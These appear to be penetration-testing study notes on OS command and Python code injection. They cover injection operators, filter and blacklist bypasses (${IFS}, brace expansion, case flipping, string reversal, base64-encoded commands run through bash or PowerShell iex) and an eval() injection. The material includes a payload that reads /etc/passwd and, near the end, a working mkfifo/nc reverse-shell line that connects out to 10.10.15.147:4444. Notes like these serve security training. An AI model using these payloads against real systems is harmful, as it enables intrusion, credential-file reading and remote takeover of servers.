Allows us to execute system commands directly on the back-end hosting server.

The most common types of injections found in web applications are

  • OS Command Injection
  • Code Injection
  • SQL Injections
  • Cross-Site Scripting/HTML Injection

To inject additional comands to the intended one we can sue

Injection OperatorInjection CharacterURL-Encoded CharacterExecuted Command
Semicolon;%3bBoth
New Line\n%0aBoth
Background&%26Both (second output generally shown first)
Pipe|%7cBoth (only second output is shown)
AND&&%26%26Both (only if first succeeds)
OR|%7c%7cSecond (only if first fails)
Sub-Shell``%60%60Both (Linux-only)
Sub-Shell$()%24%28%29Both (Linux-only)

We could write expected input then use any of the above operators to write our new command.

Note: ; will not work on the Windows Command Line (CMD) but will work on Windows Powershell.

Frontend input validation can be bypassed by modifying the source code or the request sent to server.

Injection TypeOperators
SQL Injection' , ; -- /* */
Command Injection; &&
LDAP Injection* ( ) & |
XPath Injection' or and not substring concat count
OS Command Injection; & |
Code Injection' ; -- /* */ $() ${} #{} %{} ^
Directory Traversal/File Path Traversal../ ..\\ %00
Object Injection; & |
XQuery Injection' ; -- /* */
Shellcode Injection\x \u %u %n
Header Injection\n \r\n \t %0d %0a %09

Filters

If the error message displayed a different page, with information like our IP and our request, this may indicate that it was denied by a WAF

The web application may detect a blacklisted character or detected a blacklisted command or both

Space Filters

If the space is blacklisted we can use tabs (%09) may work for both Linux and Windows. 127.0.0.1%0a%09

Using the ${IFS} Linux Environment variable since it’s default value is a space and a tab. 127.0.0.1%0a${IFS}

Bash Brace Expansion feature automatically adds space between arguments wrapped between braces. A payload would look like 127.0.0.1%0a{ls,-la}

Blacklisted Character Bypass

Linux

Oftentimes the / or \ characters will be blacklisted as it is necessary to specify directories in Linux.

On Linux, we may use Linux Environment Variables again. If we look at ${PATH:0:1} we tell it to use the first character and take a string of length 1. The same can be done with with $HOME and $PWD.

Windows

The same concept applies to WIndows Command Line (CMD). We can echo a Windows variable then specify the stating position and the end position.

echo %HOMEPATH:~6,-11%
 
# powershell equivalent
$env:HOMEPATH[0]
 
$env:PROGRAMFILES[10]

We can also shift characters. This does an ASCII table lookup and then shift the character by our input.

echo $(tr '!-}' '"-~'<<<[)

Command Blacklist

We can inject characters that are ignored by command shells and execute them as if they were not there. ' and " are among some of these characters. We cannot mix types of quotes and the number of quotes must be even.

Linux

On Linux, there are few characters that get ignored by the bash shell. \ and the positional parameter $@. We can also use a command that turns all characters into lower-case

$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
 
# another example of such a command
$(a="WhOaMi";printf %s "${a,,}")

We can also use the rev command

$(rev<<<'imaohw')

We can also encode our commands

# encode
echo -n 'cat /etc/passwd | grep 33' | base64
 
#
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

Bashfuscator is a useful too to use to obfuscate commands.

Windows

Similarly, on Windows, we can use the ^ character. A simple command obfuscation technique is case manipulation, WIndows is case-insensitive.

Similar to Linux, we can use a reverse string

# Powershell sub-shell `iex`
iex "$('imaohw'[-1..-20] -join '')"

Same base64 technique used above

# encode
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))
 
# on the victim
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"

DOSfuscation is a useful too to use to obfuscate commands.

Code Injection (Python eval())

Code injection differs from OS command injection: user input is evaluated as code in the application’s language. In Python, eval() / exec() are the classic sinks. A common pattern builds an expression by string-formatting unsanitized input:

# vulnerable validation logic
if eval('%s > 1' % request.json['abv']):
    return "ABV must be a decimal value less than 1.0", 400

Because the input is concatenated into the evaluated expression, we close the comparison and append arbitrary Python. Use __import__ to reach os.system without an import at module level:

# payload sent as the 'abv' field
__import__('os').system('id')#            # trailing # comments out the ' > 1'

For a reverse shell, embed the mkfifo payload inside os.system:

__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.147 4444 >/tmp/f')#

When delivering such payloads via JSON, quote characters must be escaped for the surrounding transport. The same sink exists for exec(), pickle.loads(), subprocess(..., shell=True), and Jinja2 render_template_string.